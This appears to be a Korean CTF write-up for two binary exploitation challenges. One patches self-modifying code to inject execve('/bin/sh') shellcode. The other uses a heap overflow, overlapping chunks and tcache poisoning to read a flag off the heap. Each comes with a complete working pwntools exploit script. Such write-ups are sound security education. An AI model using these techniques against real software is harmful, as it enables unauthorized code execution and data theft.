transmutation

취약점 분석

1. Self-Modifying Code: mprotect로 코드 영역에 RWX 권한 부여

main 함수에서 chall 함수가 위치한 메모리 페이지에 PROT_READ | PROT_WRITE | PROT_EXEC 권한을 부여한다. 이로 인해 .text 섹션의 기계어 코드를 런타임에 수정하고 즉시 실행할 수 있다.

mprotect((char *)((long)CHALL & ~0xfff), 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);

2. Arbitrary Code Write: chall 함수 내 1바이트 임의 쓰기

chall 함수는 getchar()로 값(c)과 오프셋(i)을 입력받아 CHALL[i] = c로 자기 자신의 코드 영역에 1바이트를 쓴다. 경계 검사(i < LEN)가 존재하지만, 이 검사 자체도 수정 가능한 코드 영역 내에 있어 우회할 수 있다.

void chall(void) {
    char c = getchar();
    unsigned char i = getchar();
    if (i < LEN) {
        CHALL[i] = c;
    }
}

Exploit 과정

Step 1: chall의 ret를 nop으로 패치하여 무한 루프 생성

chall 함수의 ret(오프셋 0x48)를 nop(0x90)으로 덮어쓴다. leaveret 대신 nop이 실행되어 바로 아래에 위치한 main 함수로 fall-through된다. main은 다시 chall을 호출하므로, 매 반복마다 1바이트씩 수정할 수 있는 무한 루프가 만들어진다.

# ret(0xc3) -> nop(0x90), offset 0x48
r.send(b'\x90\x48')

Step 2: 경계 검사 우회 (jge je)

chall 내부의 jge(오프셋 0x30, opcode 0x7d)를 je(opcode 0x74)로 변경한다. 원래 i >= LEN이면 쓰기를 skip하지만, je로 바꾸면 i == LEN일 때만 skip한다. 이를 통해 chall 함수 범위(0x00~0x48) 밖의 main 영역까지 쓰기가 가능해진다. 동시에 chall 내부(i < LEN)에도 여전히 쓸 수 있어, 이후 ret 복원이 가능하다.

# jge(0x7d) -> je(0x74), offset 0x30
r.send(b'\x74\x30')

Step 3: main의 ret 위치에 shellcode 기록

mainret 명령어 위치(CHALL 기준 오프셋 0xb3)부터 execve("/bin/sh") shellcode를 1바이트씩 기록한다.

sc = asm(shellcraft.sh())
for i in range(len(sc)):
    r.send(bytes([sc[i]]) + bytes([0xb3 + i]))
    sleep(0.01)

Step 4: chall의 ret 복원하여 shellcode 실행

challretnop에서 원래의 ret(0xc3)로 복원한다. 이제 chall이 정상적으로 main에 리턴하고, mainmov eax, 0 pop rbp를 거쳐 원래 ret가 있던 위치(오프셋 0xb3)에 도달한다. 이 위치에는 shellcode가 기록되어 있으므로 execve("/bin/sh")가 실행된다.

# nop(0x90) -> ret(0xc3), offset 0x48
r.send(b'\xc3\x48')

Exploit Code

#!/usr/bin/env python3
 
from pwn import *
 
exe = ELF("chall_patched")
context.binary = exe
 
def conn():
    if args.REMOTE:
        r = remote("localhost", 1337)
    else:
        r = process([exe.path])
    return r
 
def main():
    # Step 1: ret -> nop (fall-through loop)
    r.send(b'\x90\x48')
    # Step 2: jge -> je (bypass bounds check)
    r.send(b'\x74\x30')
 
    # Step 3: write shellcode at main's ret (CHALL+0xb3)
    sc = asm(shellcraft.sh())
    for i in range(len(sc)):
        r.send(bytes([sc[i]]) + bytes([0xb3 + i]))
        sleep(0.01)
 
    # Step 4: restore chall ret -> shellcode executes
    r.send(b'\xc3\x48')
    r.interactive()
 
if __name__ == "__main__":
    r = conn()
    main()

priority-queue

취약점 분석

1. Heap Buffer Overflow in edit()

edit() 함수는 array[0]이 가리키는 힙 chunk에 항상 32(0x20)바이트를 쓴다. 그러나 insert()에서 malloc(strlen(buffer) + 1)로 입력 길이에 딱 맞는 크기만 할당하므로, 짧은 문자열(1~2바이트)을 넣으면 0x20 크기의 chunk(usable 0x18바이트)가 할당된다. 이 chunk에 0x20바이트를 쓰면 0x8바이트가 인접한 다음 chunk의 헤더(prev_size + size)를 덮어쓰게 된다.

void edit(void)
{
    // ...
    read(fileno(stdin), array[0], 32);  // 항상 32바이트 — chunk 크기와 무관
    move_down(0);
}

이를 통해 인접 chunk의 size 필드를 조작하여 fake chunk size를 만들 수 있고, 이후 해당 chunk가 free될 때 원래와 다른 tcache bin에 들어가게 하여 overlapping chunks를 만들 수 있다.

2. Heap에 Flag 데이터 잔존

main()에서 flag를 malloc(100)으로 할당하여 읽은 뒤, 포인터 flag는 로컬 변수로 스코프를 벗어나 참조 불가하지만 힙 메모리 자체는 free되지 않는다. flag 데이터가 힙의 알려진 오프셋에 계속 존재하므로, 힙 주소를 알면 직접 접근 가능하다.

FILE *file = fopen("flag.txt", "r");
if (file)
{
    char *flag = malloc(100);    // 힙에 할당, free 안 됨
    fgets(flag, 100, file);
    fclose(file);
    // flag 포인터는 로컬 → 스코프 밖에서 참조 불가, 그러나 힙 데이터는 잔존
}

Exploit 과정

Step 1: Heap Leak

0x20 크기 chunk 3개를 할당 후 모두 free하여 tcache 0x20 체인을 만든다. 다시 하나를 할당하면 tcache에서 꺼내오는데, 이때 edit()로 0x20바이트를 써서 인접한 freed chunk의 헤더를 덮어쓴다. peek()puts()는 null 터미네이터가 없으므로 인접 freed chunk의 tcache fd 포인터(힙 주소)까지 읽어서 출력한다.

insert(p8(3))
insert(p8(2))
insert(p8(1))
 
delete()
delete()
delete()
 
insert(p64(3))
edit(b'A'*0x20)            # overflow → 인접 freed chunk 헤더 덮어쓰기
r.sendlineafter(b'quit): ', b'peek')
r.recvuntil(b'A'*0x20)
heap = u64(r.recv(6).ljust(8, b'\x00'))  # tcache fd → heap 주소 leak
heap_base = heap - 0x580
 
edit(p64(3) + p64(0)*2 + p64(0x21))      # 손상된 chunk 헤더 복구
delete()

Step 2: Fake Chunk Size로 Overlapping Chunk 생성

4개의 0x20 chunk를 할당하고 2개를 delete한 뒤, edit()의 overflow로 인접 chunk(C2)의 size를 0x21 → 0x31로 조작한다. Min-heap의 move_down 정렬에 의해 조작된 chunk가 array[0]으로 이동한 후 delete()하면, glibc는 size 0x31을 읽어 tcache 0x30 bin에 넣는다. 이 0x30 chunk는 원래의 0x20 chunk 경계를 넘어 다음 chunk(C3)의 데이터 영역과 겹친다.

insert(p8(4))  # C1
insert(p8(5))  # C2
insert(p8(2))  # C3
insert(p8(1))  # C4
 
delete()       # C4 free
delete()       # C3 free
edit(b'B'*8 + p64(0)*2 + p64(0x31))  # C1에서 overflow → C2의 size를 0x31로 조작
                                       # move_down으로 C2가 array[0]으로 이동
delete()       # C2 free → tcache 0x30 (size=0x31)
delete()       # C1 free → tcache 0x20

이 시점의 tcache 상태:

  • tcache 0x20: C1 → C3 → C4
  • tcache 0x30: C2 (0x30 chunk, C3의 데이터 영역과 겹침)

Step 3: Tcache Poisoning

tcache 0x30에서 C2를 꺼내 0x28바이트 데이터를 쓴다. C2는 0x30 크기이므로 데이터 영역이 C3의 tcache fd 포인터 위치까지 확장된다. 여기에 flag chunk 주소 - 0x10을 써서 C3의 fd를 오염시킨다.

target = heap_base + 0x480               # flag 데이터 시작 주소
insert(b'A'*0x20 + p64(target - 0x10))   # malloc(0x27) → tcache 0x30에서 C2 할당
                                          # C2+0x20 = C3의 fd → target-0x10으로 오염

오염 후 tcache 0x20: C1 → C3 → target-0x10 (flag 근처)

Step 4: Flag 주소에 Chunk 할당

C3의 헤더를 복구하고, tcache 0x20에서 순서대로 꺼내어 마지막에 flag 주소에 fake chunk를 할당받는다.

edit(p64(2) + p64(0)*2 + p64(0x21))  # C3 헤더 복구 (size → 0x21)
insert(p64(6))                        # tcache 0x20 pop → C1
insert(p64(3))                        # tcache 0x20 pop → C3
insert(b'b')                          # tcache 0x20 pop → target-0x10 (flag 근처!)

Step 5: Flag 읽기

다른 chunk들을 delete하여 flag 근처 chunk만 array[0]에 남긴 뒤, edit()로 flag 시작 지점 직전까지 ‘B’를 채우고 peek()로 읽으면 flag 데이터까지 연속으로 출력된다.

delete()
delete()
delete()
edit(b'B'*0x10)                       # target-0x10부터 0x10바이트 → flag 직전까지 채움
r.sendlineafter(b'quit): ', b'peek')
r.recvuntil(b'B'*0x10)               # 'B' 패딩 건너뛰기
flag = r.recvline()                   # flag 데이터 수신

Exploit Code

#!/usr/bin/env python3
 
from pwn import *
 
exe = ELF("chall_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
context.log_level = 'info'
 
def conn():
    if args.REMOTE:
        r = remote("localhost", 1337)
    else:
        r = process([exe.path])
    return r
 
def insert(data):
    r.sendlineafter(b'quit): ', b'insert')
    r.sendlineafter(b'Message: ', data)
 
def delete():
    r.sendlineafter(b'quit): ', b'delete')
 
def edit(data):
    r.sendlineafter(b'quit): ', b'edit')
    r.sendafter(b'Message: ', data)
 
def peek():
    r.sendlineafter(b'quit): ', b'peek')
    return r.recvline().strip()
 
def main():
 
    # Step 1: Heap Leak
    insert(p8(3))
    insert(p8(2))
    insert(p8(1))
 
    delete()
    delete()
    delete()
 
    insert(p64(3))
    edit(b'A'*0x20)
    r.sendlineafter(b'quit): ', b'peek')
    r.recvuntil(b'A'*0x20)
    heap = u64(r.recv(6).ljust(8, b'\x00'))
    heap_base = heap - 0x580
    log.info(f'heap base: {hex(heap_base)}')
 
    edit(p64(3) + p64(0)*2 + p64(0x21))
    delete()
 
    # Step 2: Fake Chunk Size → Overlapping Chunk
    insert(p8(4))
    insert(p8(5))
    insert(p8(2))
    insert(p8(1))
 
    delete()
    delete()
    edit(b'B'*8 + p64(0)*2 + p64(0x31))
 
    delete()
    delete()
 
    # Step 3: Tcache Poisoning
    target = heap_base + 0x480
    log.info(f'target: {hex(target)}')
    insert(b'A'*0x20 + p64(target-0x10))
 
    # Step 4: Allocate Chunk at Flag
    edit(p64(2) + p64(0)*2 + p64(0x21))
    insert(p64(6))
    insert(p64(3))
 
    insert(b'b')
 
    # Step 5: Read Flag
    delete()
    delete()
    delete()
    edit(b'B'*0x10)
    r.sendlineafter(b'quit): ', b'peek')
    r.recvuntil(b'B'*0x10)
    flag = r.recvline()
    log.success(f'flag: {flag.decode()}')
 
if __name__ == "__main__":
    r = conn()
    main()